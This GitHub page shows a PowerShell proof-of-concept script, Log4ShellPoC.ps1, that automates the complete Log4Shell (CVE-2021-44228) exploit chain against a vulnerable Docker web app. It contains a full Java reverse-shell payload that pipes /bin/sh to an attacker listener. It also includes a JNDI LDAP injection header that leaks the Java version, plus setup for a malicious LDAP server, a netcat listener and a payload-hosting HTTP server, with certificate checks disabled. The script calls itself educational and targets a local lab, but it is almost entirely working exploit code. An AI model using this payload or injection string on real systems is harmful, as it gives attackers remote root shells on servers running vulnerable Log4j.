-
Notifications
You must be signed in to change notification settings - Fork 12
/
Log4ShellPoC.ps1
326 lines (281 loc) · 13.5 KB
/
Log4ShellPoC.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
Write-Host "Log4Shell (CVE-2021-44228) PoC" -ForegroundColor Green
Write-Host "https://github.com/aalex954/Log4PowerShell" -ForegroundColor Green
Write-Host ''
Write-Host "This PowerShell script starts multiple processes (netcat listener, malicious LDAP and HTTP server, and a vulnerable web app hosted from a Docker image.)"
Write-Host "For educational purposes we will run through the entire exploit chain, dynamically creating the Java exploit class and ultimately producing a reverse shell on the web server."
Write-Host "Embeded in the LDAP server logs you will also find an exfiltrated variable `${java:version} ."
Write-Host ''
Write-Host "WARNING: This script can be dangerous. Use responsibly." -ForegroundColor Red
Write-Host ''
Write-Host "PREREQUISITES:" -ForegroundColor DarkYellow
Write-Host " - Docker for Desktop" -ForegroundColor DarkYellow
Write-Host " - Java 8" -ForegroundColor DarkYellow
Write-Host " - Maven" -ForegroundColor DarkYellow
Write-Host " - Python3" -ForegroundColor DarkYellow
Write-Host " - Internet connectivity (docker image pull, git clone)" -ForegroundColor DarkYellow
Write-Host ''
Write-Host "----------------------------------------------------------------------------------------------" -ForegroundColor Cyan
Write-Host ''
# Define default variables
$lhost= Read-Host -Prompt "Enter listening IP"
$reverseShellPort = "6666"
$ldapPort = "6667"
$httpFilePort = "6668"
$target = 'http://' + $lhost + ':' + '8080'
$testHeader = @{ 'X-Api-Version' = 'Are we there yet?' }
$envExfilHeader = @{ 'X-Api-Version' = '${jndi:ldap://' + $lhost + ':' + $ldapPort + '/${java:version}}' }
Write-Host ''
# Java exploit payload
$payload = @"
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
public class Exploit {
public Exploit() throws Exception {
String host="$lhost";
int port=$reverseShellPort;
String cmd="/bin/sh";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),
pe=p.getErrorStream(),
si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()) {
while(pi.available()>0)
so.write(pi.read());
while(pe.available()>0)
so.write(pe.read());
while(si.available()>0)
po.write(si.read());
so.flush();
po.flush();
Thread.sleep(50);
try {
p.exitValue();
break;
}
catch (Exception e){
}
};
p.destroy();
s.close();
}
}
"@
Write-Host "LHOST:......................$lhost" -ForegroundColor Cyan
Write-Host "REVERSE_SHELL_LISTNER_PORT: $reverseShellPort" -ForegroundColor Cyan
Write-Host "LDAP_SERVER_PORT:...........$ldapPort" -ForegroundColor Cyan
Write-Host "HTTP_FILE_SERVER_PORT.......$httpFilePort" -ForegroundColor Cyan
Write-Host "TARGET......................$target" -ForegroundColor Cyan
Write-Host ''
function Divider {
Write-Host ''
Write-Host "----------------------------------------------------------------------------------------------" -ForegroundColor Cyan
Write-Host ''
}
Divider
# Check if dependencies are installed/running
Write-Host "INFO: Checking for installed dependencies.." -ForegroundColor Gray
Write-Host ''
try {
docker --version
}
catch {
Write-Host 'Docker is not running.' -ForegroundColor Red
Write-Host 'Install Docker for Windows' -ForegroundColor Gray
throw 'ERROR: Exiting'
}
Write-Host ''
Write-Host 'INFO: Docker..OK' -ForegroundColor Gray
Write-Host ''
try {
java -version
}
catch {
Write-Host 'Java is not found.' -ForegroundColor Red
Write-Host 'Check your PATH or install Java, then restart your console' -ForegroundColor Gray
throw 'ERROR: Exiting'
}
Write-Host ''
Write-Host 'INFO: Java..OK' -ForegroundColor Gray
Write-Host ''
try {
mvn -v
}
catch {
Write-Host 'Maven is not installed.' -ForegroundColor Red
Write-Host 'Try "scoop install maven", then restart your console' -ForegroundColor Gray
throw 'ERROR: Exiting'
}
Write-Host ''
Write-Host 'INFO: Maven..OK' -ForegroundColor Gray
Write-Host ''
try {
python3 --version
}
catch {
Write-Host 'Python3 is not installed.' -ForegroundColor Red
Write-Host 'Install Python, then restart your console' -ForegroundColor Gray
Write-Host "https://www.python.org/downloads/windows/" -ForegroundColor Gray
throw 'ERROR: Exiting'
}
Write-Host ''
Write-Host 'INFO: Python3..OK' -ForegroundColor Gray
Write-Host ''
if (-not (Test-Connection -ComputerName "github.com" -Quiet)) {
throw "ERROR: Cant resolve github.com. Exiting.."
}
Write-Host ''
Write-Host 'INFO: Internet..OK' -ForegroundColor Gray
Write-Host ''
Write-Host "SUCCESS: All dependencies met!" -ForegroundColor Green
Divider
Start-Sleep -s 3
#----------------------------------------------------------------------------------------------
Write-Host "STAGE 1: EXPLOIT PAYLOAD" -ForegroundColor White
Write-Host "INFO: Creating Java class payload.." -ForegroundColor Gray
# PAYLOAD CREATION
# Create "exploit" directory if it does not already exist
Write-Host "INFO: Creating exploit directory" -ForegroundColor Gray
$null = New-Item -ItemType Directory -Path ".\exploit" -Force -ErrorAction Stop
# Create reverse shell payload (Exploit.java)
Write-Host "INFO: Copying payload to .\exploit\Exploit.java" -ForegroundColor Gray
$null = New-Item ".\exploit\Exploit.java" -ItemType File -Value "$payload" -Force -ErrorAction Stop
# Compile reverse shell payload (Exploit.class)
Write-Host "INFO: Compiling payload: .\exploit\Exploit.class" -ForegroundColor Gray
#Start-Process -FilePath ".\java\java-se-8u41-ri\bin\javac.exe" -ArgumentList ".\exploit\Exploit.java" -ErrorAction Stop -Wait
Start-Process -FilePath "javac.exe" -ArgumentList "-source 1.8 -target 1.8 .\exploit\Exploit.java" -ErrorAction Stop -NoNewWindow -Wait -RedirectStandardOutput output.txt -RedirectStandardError error.txt
Write-Host "INFO: Testing payload: .\exploit\Exploit.class" -ForegroundColor Gray
if (Test-Path -Path '.\exploit\Exploit.class') {
Write-Host "SUCCESS: Cretaed reverse shell payload: .\exploit\Exploit.class" -ForegroundColor Green
} else {
Write-Host "WARNING: Cannot find exploit in: .\exploit\Exploit.class" -ForegroundColor Red
Write-Host "INFO: Exploitation will not succeed" -ForegroundColor Gray
}
Divider
Start-Sleep -s 3
#----------------------------------------------------------------------------------------------
Write-Host "STAGE 2: DOCKER TARGET" -ForegroundColor White
# Start vulnerable docker image
Write-Host "INFO: Starting Docker container: ghcr.io/christophetd/log4shell-vulnerable-app" -ForegroundColor Gray
try {
Start-Process -FilePath "docker" -ArgumentList "run -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app" -ErrorAction Stop
}
catch {
Write-Host "WARNING: Cannot start Docker image: log4shell-vulnerable-app" -ForegroundColor Red
throw 'Exiting..'
}
Write-Host "INFO: Waiting for web server to come online.." -ForegroundColor Gray
Write-Host "INFO: Testing connection with X-Api-Header: "Are we there yet?".." -ForegroundColor Gray
$req = 'null'
while ($req.Content -ne "Hello, world!") {
try{
$req = Invoke-WebRequest -uri "$target" -Headers $testHeader
} catch{
Write-Host 'WARNING: Target web server not ready yet.. Retrying in 5 seconds' -ForegroundColor Yellow
Start-Sleep -s 5
}
}
Write-Host "SUCCESS: Web server up! - $($req.StatusCode) $($req.Content)" -ForegroundColor Green
Divider
Start-Sleep -s 3
#----------------------------------------------------------------------------------------------
Write-Host "STAGE 3: LDAP SERVER" -ForegroundColor White
Write-Host "INFO: Using marshalsec's object deserialization vulnerability project" -ForegroundColor Gray
Write-Host "INFO: https://github.com/mbechler/marshalsec" -ForegroundColor Gray
# Clone git repository
Write-Host "INFO: Cloning Git repository" -ForegroundColor Gray
Start-Process -FilePath "git" -ArgumentList "clone https://github.com/mbechler/marshalsec.git" -WorkingDirectory ".\java" -Wait -ErrorAction Stop
# Set LDAP port in the LDAPRefServer source
Write-Host "INFO: Configuring LDAP listening port" -ForegroundColor Gray
(Get-Content .\java\marshalsec\src\main\java\marshalsec\jndi\LDAPRefServer.java).Replace('int port = 1389;' , "int port = $ldapPort;") | Set-Content .\java\marshalsec\src\main\java\marshalsec\jndi\LDAPRefServer.java -ErrorAction Stop
# Build project with Maven
Write-Host "INFO: Building project from source" -ForegroundColor Gray
Start-Process -FilePath "mvn" -ArgumentList "clean package -DskipTests" -WorkingDirectory ".\java\marshalsec" -Wait -ErrorAction Stop
# Compile and run LDAP Ref Server
Write-Host "INFO: Compiling and running the marshalsec LDAP Ref Server" -ForegroundColor Gray
$ldapProcess = Start-Process -FilePath "java" -ArgumentList "-cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://$lhost`:$httpFilePort/exploit/#Exploit" -WorkingDirectory ".\java\marshalsec\target" -ErrorAction Stop -PassThru
Write-Host "Sleeping 5 seconds" -ForegroundColor Gray
Start-Sleep -s 5
try {
$connection = (New-Object Net.Sockets.TcpClient)
$connection.Connect("$lhost",$ldapPort)
}
catch {
}
if ($($connection).Connected -eq "True") {
Write-Host "SUCCESS: LDAP server is up!" -ForegroundColor Green
} else {
Write-Host "WARNING: Cannot connect to LDAP server.." -ForegroundColor Yellow
Write-Host "INFO: The script will continue. Maybe it needs more time to load.." -ForegroundColor Gray
Write-Host "INFO: Check if the LDAP server console is displayed and displaying: Listening on 0.0.0.0:$ldapPort" -ForegroundColor Gray
}
Divider
# Start netcat listener to receive the reverse shell
Write-Host "STAGE 4: NETCAT LISTENER" -ForegroundColor White
Write-Host "INFO: Starting netcat to receive the reverse shell.." -ForegroundColor Gray
$ncatProcess = Start-Process -FilePath ".\tools\ncat.exe" -ArgumentList "-lvn $reverseShellPort" -ErrorAction Stop -PassThru
Divider
# Start a python http server to host the exploit payload
Write-Host "STAGE 5: HTTP SERVER" -ForegroundColor White
Write-Host "INFO: Starting a python HTTP server to host the exploit code.." -ForegroundColor Gray
$httpProcess = Start-Process -FilePath "python" -ArgumentList "-m http.server $httpFilePort" -ErrorAction Stop -PassThru
Divider
Write-Host "STAGE 6: HTTP REQUEST" -ForegroundColor White
Start-Sleep -s 3
Write-Host "INFO: Setting up the web request.." -ForegroundColor Gray
# Override SSL verify to prevent issues with invalid certificates.
add-type @"
using System.Net;
using System.Security.Cryptography.X509Certificates;
public class TrustAllCertsPolicy : ICertificatePolicy {
public bool CheckValidationResult(
ServicePoint srvPoint, X509Certificate certificate,
WebRequest request, int certificateProblem) {
return true;
}
}
"@
[System.Net.ServicePointManager]::CertificatePolicy = New-Object TrustAllCertsPolicy
Write-Host "INFO: Sending request to $target" -ForegroundColor Gray
Write-Host "INFO: Using X-Api-Version header: $($envExfilHeader.Values)" -ForegroundColor Gray
Write-Host "INFO: Check LDAP server logs for exfiltrated Java version env variable" -ForegroundColor Gray
try {
$uar = Invoke-WebRequest $target -Headers $envExfilHeader -TimeoutSec 5 -ErrorAction SilentlyContinue
Write-Host "SUCCESS: Sent poisoned header to $target" -ForegroundColor Green
}catch {
$uar = $_.Exception
}
Divider
Write-Host "STAGE 7: POST EXPLOITATION" -ForegroundColor White
Write-Host "Make sure to check the LDAP logs to see the exfiltrated varaible: `${java:version}" -ForegroundColor Gray
Write-Host "Check the ncat.exe console for `"Ncat: Connection from $lhost`:{RANDOM_PORT}`"" -ForegroundColor Gray
Write-Host "This indicates a reverse shell was established from the vulnerable web server" -ForegroundColor Gray
Write-Host "Try typing `"whoami`" to verify the current user (root)!" -ForegroundColor Gray
Write-Host ''
Write-Host "SUCCESS: All done!" -ForegroundColor Green
Divider
Start-Sleep -s 3
Write-Host "Clean up.." -ForegroundColor Yellow
Write-Host ''
$rmDocker = Read-Host -Prompt "Stop containers and remove Docker images used by this script? (y/n)"
if ($rmDocker -eq "y") {
Write-Host "INFO: Stopping Docker containers matching filter.." -ForegroundColor Gray
docker ps -q --filter ancestor=ghcr.io/christophetd/log4shell-vulnerable-app | % { docker stop $_ }
Write-Host ''
Write-Host "INFO: Removing Docker images matching filter.." -ForegroundColor Gray
docker ps -aq --filter ancestor=ghcr.io/christophetd/log4shell-vulnerable-app | % { docker rm $_ }
}
Write-Host ''
$rmProcesses = Read-Host -Prompt "Stop and Remove spawned processes? (y/n)"
if ($rmProcesses -eq "y") {
Write-Host "INFO: Stopping HTTP server" -ForegroundColor Gray
Stop-Process $httpProcess.Id
Write-Host "INFO: Stopping NCAT Listner.." -ForegroundColor Gray
Stop-Process $ncatProcess.Id -ErrorAction SilentlyContinue
Write-Host "INFO: Stopping LDAP server.." -ForegroundColor Gray
Stop-Process $ldapProcess.Id
}
Divider